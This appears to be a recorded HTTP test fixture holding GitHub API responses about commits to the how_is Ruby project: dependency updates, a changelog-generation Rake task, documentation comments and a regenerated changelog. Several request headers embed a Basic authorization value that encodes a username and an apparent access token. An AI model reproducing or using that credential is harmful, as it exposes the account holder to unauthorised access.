concurrent-ruby (1.0.5)\n contracts (0.16.0)\n crack (0.4.3)\n safe_yaml (~> 1.0.0)\n@@ -22,23 +28,35 @@ GEM\n diff-lcs (1.3)\n faraday (0.9.2)\n multipart-post (>= 1.2, < 3)\n+ faraday-http-cache (2.0.0)\n+ faraday (~> 0.8)\n github_api (0.17.0)\n addressable (~> 2.4.0)\n descendants_tracker (~> 0.0.4)\n faraday (~> 0.8, < 0.10)\n hashie (>= 3.4)\n mime-types (>= 1.16, < 3.0)\n oauth2 (~> 1.0)\n+ github_changelog_generator (1.14.3)\n+ activesupport\n+ faraday-http-cache\n+ multi_json\n+ octokit (~> 4.6)\n+ rainbow (>= 2.1)\n+ rake (>= 10.0)\n+ retriable (~> 2.1)\n hashdiff (0.3.4)\n hashie (3.5.6)\n heresy (4.0.0)\n default (~> 1.0.0)\n heresy-string (~> 1.0.0)\n net-socket (~> 1.0.0)\n heresy-string (1.0.0)\n+ i18n (0.8.6)\n jwt (1.5.6)\n mayhaps (0.3.0)\n mime-types (2.99.3)\n+ minitest (5.10.2)\n multi_json (1.12.1)\n multi_xml (0.6.0)\n multipart-post (2.0.0)\n@@ -49,6 +67,8 @@ GEM\n multi_json (~> 1.3)\n multi_xml (~> 0.5)\n rack (>= 1.2, < 3)\n+ octokit (4.7.0)\n+ sawyer (~> 0.8.0, >= 0.5.3)\n openssl-better_defaults (0.0.1)\n parallel (1.11.2)\n parser (2.4.0.0)\n@@ -58,6 +78,7 @@ GEM\n rainbow (2.2.2)\n rake\n rake (11.3.0)\n+ retriable (2.1.0)\n rspec (3.6.0)\n rspec-core (~> 3.6.0)\n rspec-expectations (~> 3.6.0)\n@@ -80,6 +101,9 @@ GEM\n unicode-display_width (~> 1.0, >= 1.0.1)\n ruby-progressbar (1.8.1)\n safe_yaml (1.0.4)\n+ sawyer (0.8.1)\n+ addressable (>= 2.3.5, < 2.6)\n+ faraday (~> 0.8, < 1.0)\n slop (4.4.3)\n tessellator-fetcher (5.0.1)\n curl_cacert\n@@ -88,6 +112,8 @@ GEM\n openssl-better_defaults\n thread_safe (0.3.6)\n timecop (0.8.1)\n+ tzinfo (1.2.3)\n+ thread_safe (~> 0.1)\n unicode-display_width (1.3.0)\n vcr (3.0.3)\n webmock (3.0.1)\n@@ -100,6 +126,7 @@ PLATFORMS\n \n DEPENDENCIES\n bundler (~> 1.11)\n+ github_changelog_generator\n how_is!\n rake (~> 11.2)\n rspec (~> 3.5)"},{"sha":"9e9cae6978a68a16b61ea4409b3a221a33087f09","filename":"Rakefile","status":"modified","additions":4,"deletions":0,"changes":4,"blob_url":"https://github.com/how-is/how_is/blob/50a9b616043fdadfcb262d68c5be32bb5f350c5d/Rakefile","raw_url":"https://github.com/how-is/how_is/raw/50a9b616043fdadfcb262d68c5be32bb5f350c5d/Rakefile","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Rakefile?ref=50a9b616043fdadfcb262d68c5be32bb5f350c5d","patch":"@@ -13,6 +13,10 @@ end\n \n task :default => :spec\n \n+task :generate_changelog do\n+ sh ''github_changelog_generator''\n+end\n+\n # Helper functions used later in the Rakefile.\n class HelperFunctions\n def self.freeze_time(&_block)"},{"sha":"bbb3dedd3c80ebd6732cb4bf22d96c159d0f9ea7","filename":"how_is.gemspec","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/how-is/how_is/blob/50a9b616043fdadfcb262d68c5be32bb5f350c5d/how_is.gemspec","raw_url":"https://github.com/how-is/how_is/raw/50a9b616043fdadfcb262d68c5be32bb5f350c5d/how_is.gemspec","contents_url":"https://api.github.com/repos/how-is/how_is/contents/how_is.gemspec?ref=50a9b616043fdadfcb262d68c5be32bb5f350c5d","patch":"@@ -32,4 +32,5 @@ Gem::Specification.new do |spec|\n spec.add_development_dependency \"vcr\", \"~> 3.0\"\n spec.add_development_dependency \"webmock\"\n spec.add_development_dependency \"rubocop\", \"~> 0.49.1\"\n+ spec.add_development_dependency \"github_changelog_generator\"\n end"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:37 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/912c5e1a04a79f8852d48f38e8d8d0a785c3f419 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:38 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3381' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"7910f3d377a34b2fba2717ac40eb873a" Last-Modified: - Sun, 16 Jul 2017 16:22:34 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - ACDF:5096:296FB2:53EFF8:5CC36AE6 body: encoding: ASCII-8BIT string: '{"sha":"912c5e1a04a79f8852d48f38e8d8d0a785c3f419","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OTEyYzVlMWEwNGE3OWY4ODUyZDQ4ZjM4ZThkOGQwYTc4NWMzZjQxOQ==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T16:22:34Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-16T16:22:34Z"},"message":"[docs] API docblocks for classes","tree":{"sha":"817eb0891d782c8e6f8dce02f5c85c8a447e76bb","url":"https://api.github.com/repos/how-is/how_is/git/trees/817eb0891d782c8e6f8dce02f5c85c8a447e76bb"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/912c5e1a04a79f8852d48f38e8d8d0a785c3f419","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/912c5e1a04a79f8852d48f38e8d8d0a785c3f419","html_url":"https://github.com/how-is/how_is/commit/912c5e1a04a79f8852d48f38e8d8d0a785c3f419","comments_url":"https://api.github.com/repos/how-is/how_is/commits/912c5e1a04a79f8852d48f38e8d8d0a785c3f419/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"b4a24011f4c9a48f533e2abc1f46164d9cd86a45","url":"https://api.github.com/repos/how-is/how_is/commits/b4a24011f4c9a48f533e2abc1f46164d9cd86a45","html_url":"https://github.com/how-is/how_is/commit/b4a24011f4c9a48f533e2abc1f46164d9cd86a45"}],"stats":{"total":16,"additions":12,"deletions":4},"files":[{"sha":"117d72dd22f4a82ad837964c2044759a8abe534f","filename":"lib/how_is.rb","status":"modified","additions":3,"deletions":0,"changes":3,"blob_url":"https://github.com/how-is/how_is/blob/912c5e1a04a79f8852d48f38e8d8d0a785c3f419/lib/how_is.rb","raw_url":"https://github.com/how-is/how_is/raw/912c5e1a04a79f8852d48f38e8d8d0a785c3f419/lib/how_is.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is.rb?ref=912c5e1a04a79f8852d48f38e8d8d0a785c3f419","patch":"@@ -8,6 +8,9 @@\n \n C = Contracts\n \n+# HowIs control class used from the CLI tool.\n+#\n+# Generates an analysis and has methods to build reports from it.\n class HowIs\n include Contracts::Core\n "},{"sha":"65f30b6fd9ec8ddcc1ab76c3cd3554abfd8d6a46","filename":"lib/how_is/analyzer.rb","status":"modified","additions":3,"deletions":2,"changes":5,"blob_url":"https://github.com/how-is/how_is/blob/912c5e1a04a79f8852d48f38e8d8d0a785c3f419/lib/how_is/analyzer.rb","raw_url":"https://github.com/how-is/how_is/raw/912c5e1a04a79f8852d48f38e8d8d0a785c3f419/lib/how_is/analyzer.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/analyzer.rb?ref=912c5e1a04a79f8852d48f38e8d8d0a785c3f419","patch":"@@ -11,19 +11,20 @@ class HowIs\n class Analysis < OpenStruct\n end\n \n+ # Creates Analysis objects with input data formatted in useful ways.\n class Analyzer\n include Contracts::Core\n \n ##\n- # Raised when attempting to export to an unsupported format.\n+ # Raised when attempting to import to an unsupported format.\n class UnsupportedImportFormat < StandardError\n def initialize(format)\n super(\"Unsupported import format: #{format}\")\n end\n end\n \n ##\n- # Generates and returns an analysis.i\n+ # Generates and returns an analysis.\n #\n # @param data [Fetcher::Results] The results gathered by Fetcher.\n # @param analysis_class (You don''t need this.) A class to use instead of"},{"sha":"f738004bdb3a6e691ba06cb92f958093ed270825","filename":"lib/how_is/fetcher.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/how-is/how_is/blob/912c5e1a04a79f8852d48f38e8d8d0a785c3f419/lib/how_is/fetcher.rb","raw_url":"https://github.com/how-is/how_is/raw/912c5e1a04a79f8852d48f38e8d8d0a785c3f419/lib/how_is/fetcher.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/fetcher.rb?ref=912c5e1a04a79f8852d48f38e8d8d0a785c3f419","patch":"@@ -4,9 +4,9 @@\n require ''github_api''\n require ''how_is/pulse''\n \n-##\n-# Fetches data from GitHub.\n class HowIs\n+ ##\n+ # Fetches data from GitHub.\n class Fetcher\n include Contracts::Core\n "},{"sha":"87bc152672d58f6799db2b87f99058cada8f5065","filename":"lib/how_is/report.rb","status":"modified","additions":3,"deletions":0,"changes":3,"blob_url":"https://github.com/how-is/how_is/blob/912c5e1a04a79f8852d48f38e8d8d0a785c3f419/lib/how_is/report.rb","raw_url":"https://github.com/how-is/how_is/raw/912c5e1a04a79f8852d48f38e8d8d0a785c3f419/lib/how_is/report.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report.rb?ref=912c5e1a04a79f8852d48f38e8d8d0a785c3f419","patch":"@@ -4,12 +4,15 @@\n require \"pathname\"\n \n class HowIs\n+ # Error class\n class UnsupportedExportFormat < StandardError\n def initialize(format)\n super(\"Unsupported export format: #{format}\")\n end\n end\n \n+ # Report control class with class methods to make reports for an analysis\n+ # or to save reports in files, or otherwise interact with the files.\n class Report\n require ''how_is/report/json''\n require ''how_is/report/html''"},{"sha":"ba37948cb3f2182eab546ae6d9db176ebf850b57","filename":"lib/how_is/report/html.rb","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/how-is/how_is/blob/912c5e1a04a79f8852d48f38e8d8d0a785c3f419/lib/how_is/report/html.rb","raw_url":"https://github.com/how-is/how_is/raw/912c5e1a04a79f8852d48f38e8d8d0a785c3f419/lib/how_is/report/html.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report/html.rb?ref=912c5e1a04a79f8852d48f38e8d8d0a785c3f419","patch":"@@ -4,6 +4,7 @@\n require ''how_is/report/base_report''\n \n class HowIs\n+ # HTML Report implementation\n class HtmlReport < BaseReport\n def format\n :html"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:38 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/27b252d3625d198ded7dee32a86387a8ec613588 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:38 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3380' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"53a44f70dd118a8a129871413104e043" Last-Modified: - Sun, 16 Jul 2017 16:19:20 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - BFE1:6D36:13AD63:2F0E33:5CC36AE6 body: encoding: ASCII-8BIT string: '{"sha":"27b252d3625d198ded7dee32a86387a8ec613588","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjdiMjUyZDM2MjVkMTk4ZGVkN2RlZTMyYTg2Mzg3YThlYzYxMzU4OA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-16T16:19:20Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-16T16:19:20Z"},"message":"Use github_changelog_generator for generating the changelog!","tree":{"sha":"3179757d4faa2722208fefe76db767ed8da1b1df","url":"https://api.github.com/repos/how-is/how_is/git/trees/3179757d4faa2722208fefe76db767ed8da1b1df"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/27b252d3625d198ded7dee32a86387a8ec613588","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/27b252d3625d198ded7dee32a86387a8ec613588","html_url":"https://github.com/how-is/how_is/commit/27b252d3625d198ded7dee32a86387a8ec613588","comments_url":"https://api.github.com/repos/how-is/how_is/commits/27b252d3625d198ded7dee32a86387a8ec613588/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"b4a24011f4c9a48f533e2abc1f46164d9cd86a45","url":"https://api.github.com/repos/how-is/how_is/commits/b4a24011f4c9a48f533e2abc1f46164d9cd86a45","html_url":"https://github.com/how-is/how_is/commit/b4a24011f4c9a48f533e2abc1f46164d9cd86a45"}],"stats":{"total":430,"additions":290,"deletions":140},"files":[{"sha":"78a8f7af7204e6193b4131d54a7d741bc32ecbbc","filename":"CHANGELOG.md","status":"modified","additions":258,"deletions":140,"changes":398,"blob_url":"https://github.com/how-is/how_is/blob/27b252d3625d198ded7dee32a86387a8ec613588/CHANGELOG.md","raw_url":"https://github.com/how-is/how_is/raw/27b252d3625d198ded7dee32a86387a8ec613588/CHANGELOG.md","contents_url":"https://api.github.com/repos/how-is/how_is/contents/CHANGELOG.md?ref=27b252d3625d198ded7dee32a86387a8ec613588","patch":"@@ -1,212 +1,330 @@\n # Change Log\n \n-All notable changes to this project will be documented in this file.\n+## [Unreleased](https://github.com/how-is/how_is/tree/HEAD)\n \n-The format is based on [Keep a Changelog](http://keepachangelog.com) and\n-this project adheres to [Semantic Versioning](http://semver.org).\n+[Full Changelog](https://github.com/how-is/how_is/compare/v18.0.4...HEAD)\n \n-## [Unreleased]\n+**Closed issues:**\n \n-(Nothing so far.)\n+- Stop using hashie''s master branch [\\#168](https://github.com/how-is/how_is/issues/168)\n \n-## [v18.0.4]\n+**Merged pull requests:**\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v18.0.4))\n-is exclusively cleaning up RuboCop violations and updating dependencies.\n-There should be no noticeable changes in functionality.\n+- Include name of rules in RuboCop output [\\#175](https://github.com/how-is/how_is/pull/175) ([olleolleolle](https://github.com/olleolleolle))\n+- Rubocop 0.49.1 [\\#174](https://github.com/how-is/how_is/pull/174) ([olleolleolle](https://github.com/olleolleolle))\n+- Rubocop warning removal [\\#173](https://github.com/how-is/how_is/pull/173) ([olleolleolle](https://github.com/olleolleolle))\n \n-### Miscellaneous\n+## [v18.0.4](https://github.com/how-is/how_is/tree/v18.0.4) (2017-07-14)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v18.0.3...v18.0.4)\n \n-* Use Hashie stable; update Gemfile/add Gemfile.lock. ([#170](https://github.com/how-is/how_is/pull/170))\n-* Pass -w to Ruby when running ''rake spec''. ([#169](https://github.com/how-is/how_is/pull/169))\n-* Rubocop cleanup. ([#167](https://github.com/how-is/how_is/pull/167))\n-* Gemfile: use Hashie from master branch. ([#166](https://github.com/how-is/how_is/pull/166))\n-* Update github_api, contracst to latest. ([#165](https://github.com/how-is/how_is/pull/165))\n-* Fix (a significant number of) RuboCop violations. ([#162](https://github.com/how-is/how_is/pull/162))\n-* README: Drop from_config_file reference. ([#161](https://github.com/how-is/how_is/pull/161))\n-* Move rubocop dependency to gemspec. ([#160](https://github.com/how-is/how_is/pull/160))\n+**Closed issues:**\n \n-## [v18.0.3]\n+- HowIs::CLI refactor [\\#156](https://github.com/how-is/how_is/issues/156)\n+- \"Invalid file\" error doesn''t include filename. [\\#155](https://github.com/how-is/how_is/issues/155)\n+- No report and Hashie::Mash\\#default warnings [\\#154](https://github.com/how-is/how_is/issues/154)\n+- Remove from\\_config\\_file from docs [\\#153](https://github.com/how-is/how_is/issues/153)\n+- Fix warnings when running `rake spec` [\\#124](https://github.com/how-is/how_is/issues/124)\n+- Number of issues closed in the past month [\\#106](https://github.com/how-is/how_is/issues/106)\n+- Number of PRs merged in the past month. [\\#105](https://github.com/how-is/how_is/issues/105)\n+- Number of PRs/issues opened in past month [\\#99](https://github.com/how-is/how_is/issues/99)\n+- Number of PRs/issues not updated in the past month [\\#87](https://github.com/how-is/how_is/issues/87)\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v18.0.3))\n-fixes the things the last few releases broke. I think. Hopefully.\n+**Merged pull requests:**\n \n-It also includes some refactoring work, and the addition of a RuboCop\n-configuration.\n+- Release v18 0 4 [\\#171](https://github.com/how-is/how_is/pull/171) ([duckinator](https://github.com/duckinator))\n+- Use Hashie stable; update Gemfile/add Gemfile.lock [\\#170](https://github.com/how-is/how_is/pull/170) ([duckinator](https://github.com/duckinator))\n+- Pass -w to Ruby when running ''rake spec''. [\\#169](https://github.com/how-is/how_is/pull/169) ([duckinator](https://github.com/duckinator))\n+- Rubocop cleanup [\\#167](https://github.com/how-is/how_is/pull/167) ([duckinator](https://github.com/duckinator))\n+- Gemfile: use Hashie from master branch [\\#166](https://github.com/how-is/how_is/pull/166) ([olleolleolle](https://github.com/olleolleolle))\n+- Update github\\_api, contracts to latest [\\#165](https://github.com/how-is/how_is/pull/165) ([olleolleolle](https://github.com/olleolleolle))\n+- Fix \\(a significant number of\\) RuboCop violations. [\\#162](https://github.com/how-is/how_is/pull/162) ([duckinator](https://github.com/duckinator))\n+- README: Drop from\\_config\\_file reference [\\#161](https://github.com/how-is/how_is/pull/161) ([olleolleolle](https://github.com/olleolleolle))\n+- move rubocop dep to gemspec [\\#160](https://github.com/how-is/how_is/pull/160) ([duckinator](https://github.com/duckinator))\n \n-@duckinator enabled [Hound CI](https://houndci.com) for the repository, which\n-should find any RuboCop violations that are added in PRs. The preexisting\n-RuboCop violations (of which there are many) need to be addressed separately,\n-and there will likely be an entire release dedicated to that.\n+## [v18.0.3](https://github.com/how-is/how_is/tree/v18.0.3) (2017-05-25)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v18.0.2...v18.0.3)\n \n-### Changes\n+**Closed issues:**\n \n-* Add RuboCop config ([#158](https://github.com/how-is/how_is/pull/158))\n-* CLI parser refactor ([#157](https://github.com/how-is/how_is/pull/157))\n-* exe/how_is: Reinstate to_json, to_html ([#150](https://github.com/how-is/how_is/pull/150), by @olleolleolle)\n+- Issue: report.html renders only \\#\\ [\\#149](https://github.com/how-is/how_is/issues/149)\n+- Make CONFIG\\_FILE optional when using --config. [\\#41](https://github.com/how-is/how_is/issues/41)\n \n-## [v18.0.2]\n+**Merged pull requests:**\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v18.0.2))\n-_actually_ fixes the `--config` flag, which made an unecessary method\n-call.\n+- v18.0.3 -- CHANGELOG and version bump. [\\#159](https://github.com/how-is/how_is/pull/159) ([duckinator](https://github.com/duckinator))\n+- Add RuboCop config [\\#158](https://github.com/how-is/how_is/pull/158) ([duckinator](https://github.com/duckinator))\n+- CLI parser refactor [\\#157](https://github.com/how-is/how_is/pull/157) ([duckinator](https://github.com/duckinator))\n+- exe/how\\_is: Reinstate to\\_json, to\\_html [\\#150](https://github.com/how-is/how_is/pull/150) ([olleolleolle](https://github.com/olleolleolle))\n \n-### Changes\n+## [v18.0.2](https://github.com/how-is/how_is/tree/v18.0.2) (2017-03-05)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v18.0.1...v18.0.2)\n \n-* v18.0.2 - Remove unnecessary `.send()` call in exe/how_is.\n- ([#148](https://github.com/how-is/how_is/pull/148))\n+**Merged pull requests:**\n \n-## [v18.0.1]\n+- v18.0.2 - Remove unnecessary .send\\(\\) call in exe/how\\_is. [\\#148](https://github.com/how-is/how_is/pull/148) ([duckinator](https://github.com/duckinator))\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v18.0.1))\n-fixes the `--config` flag, which was previously using the wrong method.\n+## [v18.0.1](https://github.com/how-is/how_is/tree/v18.0.1) (2017-03-05)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v18.0.0...v18.0.1)\n \n-### Changes\n+**Merged pull requests:**\n \n-* v18.0.1 - fix `--config` flag.\n- ([#147](https://github.com/how-is/how_is/pull/147))\n+- v18.0.1 - fix --config flag [\\#147](https://github.com/how-is/how_is/pull/147) ([duckinator](https://github.com/duckinator))\n \n-## [v18.0.0]\n+## [v18.0.0](https://github.com/how-is/how_is/tree/v18.0.0) (2017-03-05)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v17.0.0...v18.0.0)\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v18.0.0))\n-vastly improves documentation, fixes the `--from` flag, and adds the\n-`HowIs.from_hash` method (used by the\n-[dashboard](https://github.com/how-is/dashboard)).\n+**Closed issues:**\n \n-Pull Requests for this release can be [viewed on\n-GitHub](https://github.com/how-is/how_is/pulls?utf8=&q=is%3Apr%20created%3A2017-02-10..2017-03-03).\n+- Determine what is using open-uri [\\#140](https://github.com/how-is/how_is/issues/140)\n+- :from != :from\\_file [\\#137](https://github.com/how-is/how_is/issues/137)\n+- Move --from documentation to README [\\#136](https://github.com/how-is/how_is/issues/136)\n+- Why is rack required? [\\#135](https://github.com/how-is/how_is/issues/135)\n+- Is :from\\_file still an option? [\\#134](https://github.com/how-is/how_is/issues/134)\n+- Move from\\_config/from\\_config\\_file out of HowIs::CLI [\\#52](https://github.com/how-is/how_is/issues/52)\n \n-### Additions\n+**Merged pull requests:**\n \n-* Add/improve inline code documentation.\n- ([#132](https://github.com/how-is/how_is/pull/132))\n-* Move documentation from design/ to README.\n- ([#143](https://github.com/how-is/how_is/pull/143))\n-* Add `HowIs.from_hash` method.\n- ([#144](https://github.com/how-is/how_is/pull/144))\n+- v18.0.0 release [\\#146](https://github.com/how-is/how_is/pull/146) ([duckinator](https://github.com/duckinator))\n+- Add HowIs.from\\_hash method [\\#144](https://github.com/how-is/how_is/pull/144) ([indirect](https://github.com/indirect))\n+- Move documentation from design/ to README. [\\#143](https://github.com/how-is/how_is/pull/143) ([duckinator](https://github.com/duckinator))\n+- Fix --from. [\\#141](https://github.com/how-is/how_is/pull/141) ([duckinator](https://github.com/duckinator))\n+- Unpin Rack version. [\\#139](https://github.com/how-is/how_is/pull/139) ([duckinator](https://github.com/duckinator))\n+- Documentation! [\\#132](https://github.com/how-is/how_is/pull/132) ([duckinator](https://github.com/duckinator))\n+- Remove shebang line from lib/ file. [\\#131](https://github.com/how-is/how_is/pull/131) ([duckinator](https://github.com/duckinator))\n+- Fix URL in gemspec. [\\#130](https://github.com/how-is/how_is/pull/130) ([duckinator](https://github.com/duckinator))\n+- Gemspec: Description grammar [\\#129](https://github.com/how-is/how_is/pull/129) ([olleolleolle](https://github.com/olleolleolle))\n \n-### Changes\n+## [v17.0.0](https://github.com/how-is/how_is/tree/v17.0.0) (2017-02-09)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v16.0.0...v17.0.0)\n \n-* Unpin Rack version. ([#139](https://github.com/how-is/how_is/pull/139))\n-* Fix --from. ([#141](https://github.com/how-is/how_is/pull/141))\n+**Merged pull requests:**\n \n-### Miscellaneous\n+- Make from\\_json parse ALL dates, not just some of them. [\\#128](https://github.com/how-is/how_is/pull/128) ([duckinator](https://github.com/duckinator))\n \n-Things that don''t affect users of how\\_is.\n+## [v16.0.0](https://github.com/how-is/how_is/tree/v16.0.0) (2017-02-09)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v15.0.0...v16.0.0)\n \n-* Fix grammar in gemspec.\n- ([#129](https://github.com/how-is/how_is/pull/129))\n-* Fix URL in gemspec. ([#130](https://github.com/how-is/how_is/pull/130))\n-* Remove shebang line from lib/ file.\n- ([#131](https://github.com/how-is/how_is/pull/131))\n+**Merged pull requests:**\n \n+- Make from\\_json\\(\\) parse dates. [\\#127](https://github.com/how-is/how_is/pull/127) ([duckinator](https://github.com/duckinator))\n \n-## [v17.0.0]\n+## [v15.0.0](https://github.com/how-is/how_is/tree/v15.0.0) (2017-02-09)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v14.0.0...v15.0.0)\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v17.0.0))\n-makes `HowIs.from_json` parse _all_ dates, not just _some_ dates.\n-(Whoops.)\n+**Closed issues:**\n \n-### Changes\n+- include data from GitHub Pulse in Analysis [\\#116](https://github.com/how-is/how_is/issues/116)\n \n-* Make `HowIs.from_json` parse _all_ dates, not just some of them.\n- 